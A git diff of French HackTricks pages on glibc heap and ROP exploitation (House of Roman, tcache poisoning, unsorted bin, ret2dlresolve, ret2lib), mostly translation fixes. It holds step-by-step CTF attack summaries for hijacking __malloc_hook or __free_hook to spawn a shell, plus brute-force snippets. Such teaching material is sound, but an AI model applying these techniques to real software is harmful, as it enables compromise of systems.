- Attaque de Fast Bin pour modifier un tableau global de chunks. Cela donne une primitive de lecture/écriture arbitraire, ce qui permet de modifier le GOT et de faire pointer certaines fonctions vers `system`.
|
||||
|
||||
{{#ref}}
|
||||
|
@ -51,13 +51,13 @@ unsorted: leftover_main
|
||||
```
|
||||
- `fastbin_victim` a un `fd` pointant vers `relative_offset_heap`
|
||||
- `relative_offset_heap` est un offset de distance par rapport à `fake_libc_chunk`, qui contient un pointeur vers `main_arena + 0x68`
|
||||
- En changeant simplement le dernier octet de `fastbin_victim.fd`, il est possible de faire en sorte que `fastbin_victim points` vers `main_arena + 0x68`
|
||||
- En changeant simplement le dernier octet de `fastbin_victim.fd`, il est possible de faire en sorte que `fastbin_victim` pointe vers `main_arena + 0x68`
|
||||
|
||||
Pour les actions précédentes, l'attaquant doit être capable de modifier le pointeur fd de `fastbin_victim`.
|
||||
|
||||
Ensuite, `main_arena + 0x68` n'est pas si intéressant, alors modifions-le pour que le pointeur pointe vers **`__malloc_hook`**.
|
||||
|
||||
Notez que `__memalign_hook` commence généralement par `0x7f` et des zéros avant, il est donc possible de le falsifier comme une valeur dans le fast bin `0x70`. Comme les 4 derniers bits de l'adresse sont **aléatoires**, il y a `2^4=16` possibilités pour que la valeur finisse par pointer là où nous sommes intéressés. Ainsi, une attaque BF est effectuée ici pour que le chunk se termine comme : **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
|
||||
Notez que `__memalign_hook` commence généralement par `0x7f` et des zéros avant, il est donc possible de le falsifier en tant que valeur dans le fast bin `0x70`. Comme les 4 derniers bits de l'adresse sont **aléatoires**, il y a `2^4=16` possibilités pour que la valeur finisse par pointer là où nous sommes intéressés. Ainsi, une attaque BF est effectuée ici pour que le chunk se termine comme : **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
|
||||
|
||||
(Pour plus d'infos sur le reste des octets, consultez l'explication dans le [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ exemple](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Si le BF ne fonctionne pas, le programme plante simplement (donc recommencez jusqu'à ce que ça fonctionne).
|
||||
|
||||
@ -86,7 +86,7 @@ puts("Put chunk into unsorted_bin\n");
|
||||
// Free the chunk to create the UAF
|
||||
free(unsorted_bin_ptr);
|
||||
```
|
||||
Utilisez un UAF dans ce morceau pour pointer `unsorted_bin_ptr->bk` vers l'adresse de `__malloc_hook` (nous l'avons bruteforcé précédemment).
|
||||
Utilisez un UAF dans ce morceau pour pointer `unsorted_bin_ptr->bk` vers l'adresse de `__malloc_hook` (nous l'avons brute forcée précédemment).
|
||||
|
||||
> [!CAUTION]
|
||||
> Notez que cette attaque corrompt le tas non trié (donc les petits et grands aussi). Nous ne pouvons donc **utiliser que des allocations du tas rapide maintenant** (un programme plus complexe pourrait faire d'autres allocations et planter), et pour déclencher cela, nous devons **allouer la même taille sinon le programme plantera.**
|
||||
@ -99,7 +99,7 @@ Dans la première étape, nous avons fini par contrôler un morceau contenant `_
|
||||
|
||||
Maintenant, nous abusons d'un écrasement partiel dans `malloc_hook_chunk` pour utiliser l'adresse libc que nous y avons écrite (`main_arena + 0x68`) pour **pointer une adresse `one_gadget`**.
|
||||
|
||||
C'est ici qu'il est nécessaire de **bruteforcer 12 bits de random** (plus d'infos dans le [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ exemple](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
|
||||
C'est ici qu'il est nécessaire de **brute forcer 12 bits de random** (plus d'infos dans le [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ exemple](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
|
||||
|
||||
Enfin, une fois la bonne adresse écrasée, **appelez `malloc` et déclenchez le `one_gadget`**.
|
||||
|
||||
|
@ -26,9 +26,9 @@ Dans cet exemple, vous pouvez trouver les conditions suivantes :
|
||||
- Ensuite, un chunk plus grand que chunk 2 est alloué, donc chunk2 est inséré dans le grand bin écrasant l'adresse `chunk1->bk_nextsize->fd_nextsize` avec l'adresse de chunk2
|
||||
|
||||
> [!TIP]
|
||||
> Il existe d'autres scénarios potentiels, l'idée est d'ajouter au grand bin un chunk qui est **plus petit** qu'un chunk X actuel dans le bin, donc il doit être inséré juste avant dans le bin, et nous devons être en mesure de modifier **`bk_nextsize`** de X car c'est là que l'adresse du chunk plus petit sera écrite.
|
||||
> Il existe d'autres scénarios potentiels, l'idée est d'ajouter au grand bin un chunk qui est **plus petit** qu'un chunk X actuel dans le bin, donc il doit être inséré juste avant dans le bin, et nous devons être capables de modifier **`bk_nextsize`** de X car c'est là que l'adresse du chunk plus petit sera écrite.
|
||||
|
||||
Voici le code pertinent de malloc. Des commentaires ont été ajoutés pour mieux comprendre comment l'adresse a été écrasée :
|
||||
Voici le code pertinent de malloc. Des commentaires ont été ajoutés pour mieux comprendre comment l'adresse a été écrite :
|
||||
```c
|
||||
/* if smaller than smallest, bypass loop below */
|
||||
assert (chunk_main_arena (bck->bk));
|
||||
|
@ -12,7 +12,7 @@ bins-and-memory-allocations.md
|
||||
|
||||
Tout d'abord, notez que le Tcache a été introduit dans la version 2.26 de Glibc.
|
||||
|
||||
L'**attaque Tcache** (également connue sous le nom de **poisoning Tcache**) proposée sur la [**page guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) est très similaire à l'attaque fast bin où l'objectif est de remplacer le pointeur vers le prochain chunk dans le bin à l'intérieur d'un chunk libéré par une adresse arbitraire afin qu'il soit ensuite possible de **allouer cette adresse spécifique et potentiellement écraser des pointeurs**.
|
||||
L'**attaque Tcache** (également connue sous le nom de **poisoning Tcache**) proposée sur la [**page guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) est très similaire à l'attaque fast bin où l'objectif est de remplacer le pointeur vers le prochain chunk dans le bin à l'intérieur d'un chunk libéré par une adresse arbitraire afin qu'il soit ensuite possible de **allouer cette adresse spécifique et potentiellement écraser les pointeurs**.
|
||||
|
||||
Cependant, de nos jours, si vous exécutez le code mentionné, vous obtiendrez l'erreur : **`malloc(): unaligned tcache chunk detected`**. Il est donc nécessaire d'écrire comme adresse dans le nouveau pointeur une adresse alignée (ou d'exécuter suffisamment de fois le binaire pour que l'adresse écrite soit en fait alignée).
|
||||
|
||||
@ -23,17 +23,17 @@ Il est généralement possible de trouver au début du tas un chunk contenant le
|
||||
## Examples
|
||||
|
||||
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
|
||||
- **Libc info leak** : Il est possible de remplir les tcaches, d'ajouter un chunk dans la liste non triée, de vider le tcache et de **ré-allouer le chunk du bin non trié** en écrasant seulement les 8 premiers octets, laissant la **deuxième adresse vers libc du chunk intacte afin que nous puissions la lire**.
|
||||
- **Tcache attack** : Le binaire est vulnérable à un débordement de tas de 1 octet. Cela sera abusé pour changer le **header de taille** d'un chunk alloué en le rendant plus grand. Ensuite, ce chunk sera **libéré**, l'ajoutant au tcache de chunks de fausse taille. Ensuite, nous allouerons un chunk de la taille falsifiée, et le chunk précédent sera **retourné sachant que ce chunk était en fait plus petit** et cela nous donne l'opportunité de **écraser le prochain chunk en mémoire**.\
|
||||
- **Libc info leak** : Il est possible de remplir les tcaches, d'ajouter un chunk dans la liste non triée, de vider le tcache et de **ré-allouer le chunk du bin non trié** en écrasant seulement les 8 premiers octets, laissant le **deuxième adresse vers libc du chunk intact pour que nous puissions le lire**.
|
||||
- **Tcache attack** : Le binaire est vulnérable à un débordement de tas de 1 octet. Cela sera abusé pour changer le **header de taille** d'un chunk alloué en le rendant plus grand. Ensuite, ce chunk sera **libéré**, l'ajoutant au tcache de chunks de la taille factice. Ensuite, nous allouerons un chunk de la taille factice, et le chunk précédent sera **retourné sachant que ce chunk était en fait plus petit** et cela nous donne l'opportunité de **écraser le prochain chunk en mémoire**.\
|
||||
Nous allons en abuser pour **écraser le pointeur FD du prochain chunk** pour pointer vers **`malloc_hook`**, afin qu'il soit possible d'allouer 2 pointeurs : d'abord le pointeur légitime que nous venons de modifier, puis la deuxième allocation retournera un chunk dans **`malloc_hook`** qu'il est possible d'abuser pour écrire un **one gadget**.
|
||||
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
|
||||
- **Libc info leak** : Il y a un use after free et un double free. Dans ce writeup, l'auteur a divulgué une adresse de libc en lisant l'adresse d'un chunk placé dans un petit bin (comme le fuyant du bin non trié mais du petit).
|
||||
- **Tcache attack** : Un Tcache est effectué via un **double free**. Le même chunk est libéré deux fois, donc à l'intérieur du Tcache, le chunk pointera vers lui-même. Ensuite, il est alloué, son pointeur FD est modifié pour pointer vers le **free hook** et ensuite il est alloué à nouveau, donc le prochain chunk dans la liste va se retrouver dans le free hook. Ensuite, cela est également alloué et il est possible d'écrire l'adresse de `system` ici afin que lorsqu'un malloc contenant `"/bin/sh"` est libéré, nous obtenons un shell.
|
||||
- **Libc info leak** : Il y a un use after free et un double free. Dans ce writeup, l'auteur a divulgué une adresse de libc en lisant l'adresse d'un chunk placé dans un petit bin (comme le fuites depuis le bin non trié mais depuis le petit).
|
||||
- **Tcache attack** : Un Tcache est effectué via un **double free**. Le même chunk est libéré deux fois, donc à l'intérieur du Tcache, le chunk pointera vers lui-même. Ensuite, il est alloué, son pointeur FD est modifié pour pointer vers le **free hook** et ensuite il est alloué à nouveau, donc le prochain chunk dans la liste va être dans le free hook. Ensuite, cela est également alloué et il est possible d'écrire l'adresse de `system` ici, donc lorsque malloc contenant `"/bin/sh"` est libéré, nous obtenons un shell.
|
||||
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
|
||||
- La principale vulnérabilité ici est la capacité de `free` n'importe quelle adresse dans le tas en indiquant son offset.
|
||||
- **Tcache indexes attack** : Il est possible d'allouer et de libérer un chunk d'une taille qui, lorsqu'elle est stockée à l'intérieur du chunk tcache (le chunk avec les informations des bins tcache), générera une **adresse avec la valeur 0x100**. Cela est dû au fait que le tcache stocke le nombre de chunks dans chaque bin dans des octets différents, donc un chunk dans un index spécifique génère la valeur 0x100.
|
||||
- Ensuite, cette valeur ressemble à un chunk de taille 0x100. Permettant d'en abuser en `free` cette adresse. Cela **ajoutera cette adresse à l'index des chunks de taille 0x100 dans le tcache**.
|
||||
- Ensuite, **en allouant** un chunk de taille **0x100**, l'adresse précédente sera retournée comme un chunk, permettant d'écraser d'autres index tcache.\
|
||||
- Ensuite, **allouer** un chunk de taille **0x100**, l'adresse précédente sera retournée comme un chunk, permettant d'écraser d'autres index tcache.\
|
||||
Par exemple, en mettant l'adresse de malloc hook dans l'un d'eux et en allouant un chunk de la taille de cet index, cela accordera un chunk dans calloc hook, ce qui permet d'écrire un one gadget pour obtenir un shell.
|
||||
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
|
||||
- Même vulnérabilité que précédemment avec une restriction supplémentaire.
|
||||
|
@ -12,7 +12,7 @@ bins-and-memory-allocations.md
|
||||
|
||||
Les listes non triées peuvent écrire l'adresse dans `unsorted_chunks (av)` à l'adresse `bk` du chunk. Par conséquent, si un attaquant peut **modifier l'adresse du pointeur `bk`** dans un chunk à l'intérieur de l'unsorted bin, il pourrait être capable de **écrire cette adresse à une adresse arbitraire** qui pourrait être utile pour divulguer des adresses Glibc ou contourner certaines protections.
|
||||
|
||||
Donc, en gros, cette attaque permet de **définir un grand nombre à une adresse arbitraire**. Ce grand nombre est une adresse, qui pourrait être une adresse de heap ou une adresse Glibc. Une cible typique est **`global_max_fast`** pour permettre de créer des bins de fast bin avec des tailles plus grandes (et passer d'une attaque d'unsorted bin à une attaque de fast bin).
|
||||
Donc, fondamentalement, cette attaque permet de **définir un grand nombre à une adresse arbitraire**. Ce grand nombre est une adresse, qui pourrait être une adresse de heap ou une adresse Glibc. Une cible typique est **`global_max_fast`** pour permettre de créer des bins de fast bin avec des tailles plus grandes (et passer d'une attaque d'unsorted bin à une attaque de fast bin).
|
||||
|
||||
> [!TIP]
|
||||
> J> etant un coup d'œil à l'exemple fourni dans [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) et en utilisant 0x4000 et 0x5000 au lieu de 0x400 et 0x500 comme tailles de chunk (pour éviter Tcache), il est possible de voir que **de nos jours** l'erreur **`malloc(): unsorted double linked list corrupted`** est déclenchée.
|
||||
@ -22,7 +22,7 @@ Donc, en gros, cette attaque permet de **définir un grand nombre à une adresse
|
||||
> [!CAUTION]
|
||||
> Notez que cette attaque corrompt l'unsorted bin (d'où les petits et grands aussi). Donc, nous ne pouvons utiliser que **des allocations à partir du fast bin maintenant** (un programme plus complexe pourrait faire d'autres allocations et planter), et pour déclencher cela, nous devons **allouer la même taille ou le programme plantera.**
|
||||
>
|
||||
> Notez que l'écrasement de **`global_max_fast`** pourrait aider dans ce cas en faisant confiance au fast bin pour s'occuper de toutes les autres allocations jusqu'à ce que l'exploit soit terminé.
|
||||
> Notez que l'écrasement de **`global_max_fast`** pourrait aider dans ce cas en faisant confiance au fast bin pour s'occuper de toutes les autres allocations jusqu'à ce que l'exploitation soit terminée.
|
||||
|
||||
Le code de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) l'explique très bien, bien que si vous modifiez les mallocs pour allouer une mémoire suffisamment grande pour ne pas se retrouver dans un Tcache, vous pouvez voir que l'erreur mentionnée précédemment apparaît, empêchant cette technique : **`malloc(): unsorted double linked list corrupted`**
|
||||
|
||||
@ -31,19 +31,19 @@ Le code de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_atta
|
||||
C'est en fait un concept très basique. Les chunks dans l'unsorted bin vont avoir des pointeurs. Le premier chunk dans l'unsorted bin aura en fait les liens **`fd`** et **`bk`** **pointant vers une partie de l'arène principale (Glibc)**.\
|
||||
Par conséquent, si vous pouvez **mettre un chunk à l'intérieur d'un unsorted bin et le lire** (use after free) ou **le réallouer sans écraser au moins 1 des pointeurs** pour ensuite **le lire**, vous pouvez avoir une **divulgation d'informations Glibc**.
|
||||
|
||||
Une [**attaque similaire utilisée dans ce rapport**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) a été d'abuser d'une structure de 4 chunks (A, B, C et D - D est seulement pour empêcher la consolidation avec le chunk supérieur) donc un débordement de byte nul dans B a été utilisé pour faire indiquer à C que B était inutilisé. De plus, dans B, les données `prev_size` ont été modifiées pour que la taille, au lieu d'être la taille de B, soit A+B.\
|
||||
Une [**attaque similaire utilisée dans ce rapport**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) consistait à abuser d'une structure de 4 chunks (A, B, C et D - D est uniquement pour empêcher la consolidation avec le chunk supérieur) donc un débordement de byte nul dans B a été utilisé pour faire indiquer à C que B était inutilisé. De plus, dans B, les données `prev_size` ont été modifiées pour que la taille, au lieu d'être la taille de B, soit A+B.\
|
||||
Ensuite, C a été désalloué et consolidé avec A+B (mais B était toujours utilisé). Un nouveau chunk de taille A a été alloué et ensuite les adresses de libc divulguées ont été écrites dans B d'où elles ont été divulguées.
|
||||
|
||||
## References & Other examples
|
||||
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
|
||||
- L'objectif est d'écraser une variable globale avec une valeur supérieure à 4869 afin qu'il soit possible d'obtenir le flag et que PIE ne soit pas activé.
|
||||
- Il est possible de générer des chunks de tailles arbitraires et il y a un débordement de heap avec la taille désirée.
|
||||
- L'attaque commence par créer 3 chunks : chunk0 pour abuser du débordement, chunk1 pour être débordé et chunk2 pour que le chunk supérieur ne consolide pas les précédents.
|
||||
- Il est possible de générer des chunks de tailles arbitraires et il y a un débordement de heap avec la taille souhaitée.
|
||||
- L'attaque commence par créer 3 chunks : chunk0 pour abuser du débordement, chunk1 pour être débordé et chunk2 afin que le chunk supérieur ne consolide pas les précédents.
|
||||
- Ensuite, chunk1 est libéré et chunk0 est débordé pour que le pointeur `bk` de chunk1 pointe vers : `bk = magic - 0x10`
|
||||
- Ensuite, chunk3 est alloué avec la même taille que chunk1, ce qui déclenchera l'attaque d'unsorted bin et modifiera la valeur de la variable globale, rendant possible d'obtenir le flag.
|
||||
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
|
||||
- La fonction de fusion est vulnérable car si les deux index passés sont le même, elle le réalloue et ensuite le libère mais retourne un pointeur vers cette région libérée qui peut être utilisée.
|
||||
- La fonction de fusion est vulnérable car si les deux index passés sont le même, elle le réalloue et ensuite le libère mais renvoie un pointeur vers cette région libérée qui peut être utilisée.
|
||||
- Par conséquent, **2 chunks sont créés** : **chunk0** qui sera fusionné avec lui-même et chunk1 pour empêcher la consolidation avec le chunk supérieur. Ensuite, la **fonction de fusion est appelée avec chunk0** deux fois, ce qui provoquera un use after free.
|
||||
- Ensuite, la **fonction `view`** est appelée avec l'index 2 (qui est l'index du chunk use after free), ce qui **divulguera une adresse libc**.
|
||||
- Comme le binaire a des protections pour n'allouer que des tailles supérieures à **`global_max_fast`**, aucun fastbin n'est utilisé, une attaque d'unsorted bin sera utilisée pour écraser la variable globale `global_max_fast`.
|
||||
@ -60,14 +60,14 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
</code></pre>
|
||||
- Si nous parvenons à obtenir un fast chunk de taille 0x200 à cet emplacement, il sera possible d'écraser un pointeur de fonction qui sera exécuté.
|
||||
- Pour cela, un nouveau chunk de taille `0xfc` est créé et la fonction de fusion est appelée avec ce pointeur deux fois, de cette façon nous obtenons un pointeur vers un chunk libéré de taille `0xfc*2 = 0x1f8` dans le fast bin.
|
||||
- Ensuite, la fonction d'édition est appelée dans ce chunk pour modifier l'adresse **`fd`** de ce fast bin pour pointer vers la fonction **`__free_hook`** précédente.
|
||||
- Ensuite, la fonction d'édition est appelée dans ce chunk pour modifier l'adresse **`fd`** de ce fast bin pour pointer vers la fonction précédente **`__free_hook`**.
|
||||
- Ensuite, un chunk de taille `0x1f8` est créé pour récupérer du fast bin le chunk inutile précédent, donc un autre chunk de taille `0x1f8` est créé pour obtenir un fast bin chunk dans le **`__free_hook`** qui est écrasé avec l'adresse de la fonction **`system`**.
|
||||
- Et enfin, un chunk contenant la chaîne `/bin/sh\x00` est libéré en appelant la fonction de suppression, déclenchant la fonction **`__free_hook`** qui pointe vers system avec `/bin/sh\x00` comme paramètre.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- Un autre exemple d'abus d'un débordement de 1B pour consolider des chunks dans l'unsorted bin et obtenir une divulgation d'informations libc, puis effectuer une attaque de fast bin pour écraser le malloc hook avec une adresse de gadget unique.
|
||||
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
- Nous ne pouvons allouer que des chunks de taille supérieure à `0x100`.
|
||||
- Écraser `global_max_fast` en utilisant une attaque d'Unsorted Bin (fonctionne 1/16 fois en raison de l'ASLR, car nous devons modifier 12 bits, mais nous devons modifier 16 bits).
|
||||
- Attaque de Fast Bin pour modifier un tableau global de chunks. Cela donne une primitive de lecture/écriture arbitraire, ce qui permet de modifier le GOT et de définir certaines fonctions pour pointer vers `system`.
|
||||
- Écraser `global_max_fast` en utilisant une attaque d'unsorted bin (fonctionne 1/16 fois en raison de l'ASLR, car nous devons modifier 12 bits, mais nous devons modifier 16 bits).
|
||||
- Attaque de Fast Bin pour modifier un tableau global de chunks. Cela donne une primitive de lecture/écriture arbitraire, ce qui permet de modifier le GOT et de faire pointer certaines fonctions vers `system`.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -10,7 +10,7 @@ Le problème ici est qu'il n'est pas illégal (il **n'y aura pas d'erreurs**) lo
|
||||
|
||||
### Attaque de premier ajustement
|
||||
|
||||
Une attaque de premier ajustement cible la manière dont certains allocateurs de mémoire, comme dans glibc, gèrent la mémoire libérée. Lorsque vous libérez un bloc de mémoire, il est ajouté à une liste, et les nouvelles demandes de mémoire tirent de cette liste par la fin. Les attaquants peuvent utiliser ce comportement pour manipuler **quels blocs de mémoire sont réutilisés, potentiellement en prenant le contrôle de ceux-ci**. Cela peut conduire à des problèmes de "utilisation après libération", où un attaquant pourrait **modifier le contenu de la mémoire qui est réallouée**, créant un risque de sécurité.\
|
||||
Une attaque de premier ajustement cible la façon dont certains allocateurs de mémoire, comme dans glibc, gèrent la mémoire libérée. Lorsque vous libérez un bloc de mémoire, il est ajouté à une liste, et les nouvelles demandes de mémoire tirent de cette liste par la fin. Les attaquants peuvent utiliser ce comportement pour manipuler **quels blocs de mémoire sont réutilisés, potentiellement en prenant le contrôle de ceux-ci**. Cela peut conduire à des problèmes de "utilisation après libération", où un attaquant pourrait **modifier le contenu de la mémoire qui est réallouée**, créant un risque de sécurité.\
|
||||
Consultez plus d'infos dans :
|
||||
|
||||
{{#ref}}
|
||||
|
@ -140,11 +140,11 @@ Dans cet exemple :
|
||||
## Différence principale entre x86 et x64
|
||||
|
||||
> [!TIP]
|
||||
> Étant donné que **x64 utilise des registres pour les premiers arguments,** il nécessite souvent moins de gadgets que x86 pour des appels de fonction simples, mais trouver et enchaîner les bons gadgets peut être plus complexe en raison du nombre accru de registres et de l'espace d'adressage plus grand. Le nombre accru de registres et l'espace d'adressage plus grand dans l'architecture **x64** offrent à la fois des opportunités et des défis pour le développement d'exploits, en particulier dans le contexte de la programmation orientée retour (ROP).
|
||||
> Étant donné que **x64 utilise des registres pour les premiers arguments,** il nécessite souvent moins de gadgets que x86 pour des appels de fonction simples, mais trouver et enchaîner les bons gadgets peut être plus complexe en raison du nombre accru de registres et de l'espace d'adresses plus grand. Le nombre accru de registres et l'espace d'adresses plus grand dans l'architecture **x64** offrent à la fois des opportunités et des défis pour le développement d'exploits, en particulier dans le contexte de la programmation orientée retour (ROP).
|
||||
|
||||
## Exemple de chaîne ROP en ARM64
|
||||
|
||||
### **Bases ARM64 & Conventions d'appel**
|
||||
### **Bases ARM64 & conventions d'appel**
|
||||
|
||||
Consultez la page suivante pour ces informations :
|
||||
|
||||
|
@ -35,7 +35,7 @@ mov rsi, r14;
|
||||
mov edi, r13d;
|
||||
call qword [r12 + rbx*8];
|
||||
```
|
||||
3. Peut-être que vous ne connaissez aucune adresse à écrire là et vous **avez besoin d'une instruction `ret`**. Notez que le deuxième gadget se **terminera également par un `ret`**, mais vous devrez remplir certaines **conditions** pour y parvenir :
|
||||
3. Peut-être que vous ne connaissez aucune adresse à écrire là et vous **avez besoin d'une instruction `ret`**. Notez que le deuxième gadget se terminera également par un **`ret`**, mais vous devrez remplir certaines **conditions** pour y parvenir :
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informations de base
|
||||
## Basic Information
|
||||
|
||||
Comme expliqué dans la page sur [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) et [**Relro**](../common-binary-protections-and-bypasses/relro.md), les binaires sans Full Relro résolvent les symboles (comme les adresses vers des bibliothèques externes) la première fois qu'ils sont utilisés. Cette résolution se produit en appelant la fonction **`_dl_runtime_resolve`**.
|
||||
|
||||
@ -10,7 +10,7 @@ La fonction **`_dl_runtime_resolve`** prend de la pile des références à certa
|
||||
|
||||
Par conséquent, il est possible de **falsifier toutes ces structures** pour faire en sorte que la résolution dynamique lie le symbole demandé (comme la fonction **`system`**) et l'appelle avec un paramètre configuré (par exemple, **`system('/bin/sh')`**).
|
||||
|
||||
En général, toutes ces structures sont falsifiées en créant une **chaîne ROP initiale qui appelle `read`** sur une mémoire écrivable, puis les **structures** et la chaîne **`'/bin/sh'`** sont passées afin qu'elles soient stockées par read à un emplacement connu, puis la chaîne ROP continue en appelant **`_dl_runtime_resolve`**, lui faisant **résoudre l'adresse de `system`** dans les structures falsifiées et **appelant cette adresse** avec l'adresse de `'$'/bin/sh'`.
|
||||
En général, toutes ces structures sont falsifiées en créant une **chaîne ROP initiale qui appelle `read`** sur une mémoire écrivable, puis les **structures** et la chaîne **`'/bin/sh'`** sont passées pour être stockées par read à un emplacement connu, et ensuite la chaîne ROP continue en appelant **`_dl_runtime_resolve`**, lui faisant **résoudre l'adresse de `system`** dans les structures falsifiées et **appelant cette adresse** avec l'adresse de `'$'/bin/sh'`.
|
||||
|
||||
> [!TIP]
|
||||
> Cette technique est particulièrement utile s'il n'y a pas de gadgets syscall (pour utiliser des techniques telles que [**ret2syscall**](rop-syscall-execv/index.html) ou [SROP](srop-sigreturn-oriented-programming/index.html)) et qu'il n'y a pas de moyens de leak les adresses libc.
|
||||
@ -26,7 +26,7 @@ Ou consultez ces pages pour une explication étape par étape :
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
||||
|
||||
## Résumé de l'attaque
|
||||
## Attack Summary
|
||||
|
||||
1. Écrire des structures falsifiées à un endroit
|
||||
2. Définir le premier argument de system (`$rdi = &'/bin/sh'`)
|
||||
@ -188,6 +188,6 @@ target.interactive()
|
||||
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
|
||||
- 32 bits, pas de relro, pas de canary, nx, pas de pie, débordement de tampon de base et retour. Pour l'exploiter, le bof est utilisé pour appeler `read` à nouveau avec une section `.bss` et une taille plus grande, pour y stocker les tables factices `dlresolve` afin de charger `system`, retourner à main et ré-abuser le bof initial pour appeler dlresolve puis `system('/bin/sh')`.
|
||||
- 32 bits, pas de relro, pas de canary, nx, pas de pie, débordement de tampon de base et retour. Pour l'exploiter, le bof est utilisé pour appeler `read` à nouveau avec une section `.bss` et une taille plus grande, pour y stocker les tables factices `dlresolve` afin de charger `system`, retourner à main et réutiliser le bof initial pour appeler dlresolve puis `system('/bin/sh')`.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -25,7 +25,7 @@ for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
|
||||
```bash
|
||||
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
||||
```
|
||||
- En connaissant la libc utilisée, il est également possible de trouver le décalage vers la fonction de la chaîne `/bin/sh` avec :
|
||||
- En connaissant la libc utilisée, il est également possible de trouver le décalage vers la fonction de chaîne `/bin/sh` avec :
|
||||
```bash
|
||||
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
||||
```
|
||||
@ -73,7 +73,7 @@ Ces attaques par force brute sont **uniquement utiles pour les systèmes 32 bits
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
- Si vous attaquez un serveur distant, vous pourriez essayer de **forcer l'adresse de la fonction `usleep` de `libc`**, en passant comme argument 10 (par exemple). Si à un moment donné le **serveur met 10s de plus à répondre**, vous avez trouvé l'adresse de cette fonction.
|
||||
- Si vous attaquez un serveur distant, vous pourriez essayer de **forcer l'adresse de la fonction `libc` `usleep`**, en passant comme argument 10 (par exemple). Si à un moment donné le **serveur met 10s de plus à répondre**, vous avez trouvé l'adresse de cette fonction.
|
||||
|
||||
## One Gadget
|
||||
|
||||
@ -105,29 +105,32 @@ c.interactive()
|
||||
|
||||
Vérifiez l'exemple à partir de :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../
|
||||
{{#endref}}
|
||||
|
||||
## ARM64 Ret2lib Example
|
||||
|
||||
Dans le cas de l'ARM64, l'instruction ret saute à l'endroit où le registre x30 pointe et non à l'endroit où le registre de pile pointe. C'est donc un peu plus compliqué.
|
||||
Dans le cas de l'ARM64, l'instruction ret saute vers où le registre x30 pointe et non vers où le registre de pile pointe. C'est donc un peu plus compliqué.
|
||||
|
||||
De plus, en ARM64, une instruction fait ce que l'instruction fait (il n'est pas possible de sauter au milieu des instructions et de les transformer en nouvelles).
|
||||
De plus, dans l'ARM64, une instruction fait ce que l'instruction fait (il n'est pas possible de sauter au milieu des instructions et de les transformer en nouvelles).
|
||||
|
||||
